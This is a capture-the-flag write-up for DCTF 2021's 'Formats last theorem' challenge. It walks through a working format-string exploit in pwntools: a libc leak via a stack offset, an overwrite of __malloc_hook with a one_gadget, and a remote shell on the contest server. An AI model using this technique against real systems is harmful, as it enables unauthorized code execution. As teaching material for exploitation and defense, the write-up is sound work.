Tags: format-string malloc pwn write-what-where 

Rating:

# DCTF 2021

## Formats last theorem

> 400
>
> I dare you to hook the malloc
>
> `nc dctf-chall-formats-last-theorem.westeurope.azurecontainer.io 7482`
>
> [formats\_last\_theorem](formats_last_theorem) [Dockerfile](Dockerfile)

Tags: _pwn_ _x86-64_ _malloc_ _malloc-hook_ _write-what-where_ _format-string_

## Summary

The challenge description turned this into a 5-minute challenge. Without this hint, I think many would have been lost in an endless loop.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

All mitigations in place sans canary, but since there's no `return`, it does not matter.

### Decompile with Ghidra

```c
void vuln(void)
{
long in_FS_OFFSET;
char local_78 [104];
undefined8 local_10;

local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
do {
puts("I won\'t ask you, what your name is. It\'s getting kinda old at this point");
__isoc99_scanf("%100s",local_78);
puts("you entered");
printf(local_78);
puts("");
puts("");
} while( true );
}
```

Endless loop with endless format-string exploits.

The plan is simple, use `printf` to leak libc, then, per the challenge description, use `printf` _hook the malloc_, and then `printf` again to [trigger the hook](http.s://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free).

> The libc version was provided in the form of a `Dockerfile`. I've included it (`libc.so.6`) as part of this writeup since a future update to Ubuntu 18.04 may change the version of libc.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./formats_last_theorem')

if args.REMOTE:
p = remote('dctf-chall-formats-last-theorem.westeurope.azurecontainer.io', 7482)
libc = ELF('./libc.so.6')
else:
import signal
p = process(('stdbuf -i0 -o0 -e0 '+binary.path).split(),preexec_fn=lambda: signal.signal(signal.SIGALRM, signal.SIG_IGN))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# one_gadget
libc.symbols['gadget'] = [0x4f3d5, 0x4f432, 0x10a41c][1]
```

> one_gadget if available is the easy win here. The second of the three possible options works just fine.

Standard pwntools setup, however I added `gadget` symbol to libc, and have my local process ignoring SIGALRM.

> No `setvbuf` in challenge binary, so I had to prepend `stdbuf`.

```python
p.sendlineafter('point\n','%23$p')
p.recvuntil('entered\n')
__libc_start_main = int(p.recvline().strip(),16) - 231
libc.address = __libc_start_main - libc.sym.__libc_start_main
log.info('libc.address: ' + hex(libc.address))
```

The above provides the leak, _but why `23`?_

To find libc in the stack and leak it just use GDB (with an Ubuntu 18.04 machine/container, see the challenge included [Dockerfile](Dockerfile)):

```
0x00007fffffffe300│+0x0000: 0x0000000070243625 ("%6$p"?) ← $rsp, $rdi
0x00007fffffffe308│+0x0008: 0x0000000000000000
0x00007fffffffe310│+0x0010: 0x0000000000000000
0x00007fffffffe318│+0x0018: 0x0000000000000000
0x00007fffffffe320│+0x0020: 0x0000000000000009
0x00007fffffffe328│+0x0028: 0x00007ffff7dd5660 → <dl_main+0> push rbp
0x00007fffffffe330│+0x0030: 0x00007fffffffe398 → 0x00007fffffffe468 → 0x00007fffffffe6e0 → "/pwd/datajerk/dctf2021/formats_last_theorem/format[...]"
0x00007fffffffe338│+0x0038: 0x0000000000f0b5ff
0x00007fffffffe340│+0x0040: 0x0000000000000001
0x00007fffffffe348│+0x0048: 0x000055555540081d → <__libc_csu_init+77> add rbx, 0x1
0x00007fffffffe350│+0x0050: 0x00007ffff7de3b40 → <_dl_fini+0> push rbp
0x00007fffffffe358│+0x0058: 0x0000000000000000
0x00007fffffffe360│+0x0060: 0x00005555554007d0 → <__libc_csu_init+0> push r15
0x00007fffffffe368│+0x0068: 0xb049ba36a07c5200
0x00007fffffffe370│+0x0070: 0x00007fffffffe380 → 0x00005555554007d0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffe378│+0x0078: 0x00005555554007c4 → <main+24> mov eax, 0x0
0x00007fffffffe380│+0x0080: 0x00005555554007d0 → <__libc_csu_init+0> push r15
0x00007fffffffe388│+0x0088: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax
```

Before counting down to `__libc_start_main+231` for the leak, you'll need to know the offset, to find that just send `%nn$p` where `nn > 0`, and keep incrementing `nn` until the output matches the intput, e.g.:

```
I won't ask you, what your name is. It's getting kinda old at this point
%6$p
you entered
0x70243625
```

It's a match, the offset is `6`. That'd put `__libc_start_main+231` at parameter `23` (look at the stack above and just count down).

With libc location known, all that is left is to _hook the malloc_:

```python
p.sendlineafter('point\n',fmtstr_payload(6,{libc.sym.__malloc_hook:libc.sym.gadget},write_size='short'))
p.sendlineafter('point\n','%65536c')
p.recvuntil('entered\n')
p.interactive()
```

Standard pwntools format-string to set the hook with our gadget. The `write_size='short'` reduces the size of the payload from 120 bytes to 64 (we only have 100 bytes to work with).

After the hook set, just `printf` something large to trigger it.

> If you're new to format-string exploits read this: [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf).
>
> Many examples of how to use pwntools `fmtstr_payload`: [dead-canary](https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2020/dead-canary).

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/dctf2021/formats_last_theorem/formats_last_theorem'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to dctf-chall-formats-last-theorem.westeurope.azurecontainer.io on port 7482: Done
[*] '/pwd/datajerk/dctf2021/formats_last_theorem/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc.address: 0x7f22bb2f8000
[*] Switching to interactive mode
$ id
uid=1000(pilot) gid=1000(pilot) groups=1000(pilot)
$ cat flag.txt
dctf{N0t_all_7h30r3ms_s0und_g00d}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/dctf2021/formats_last_theorem).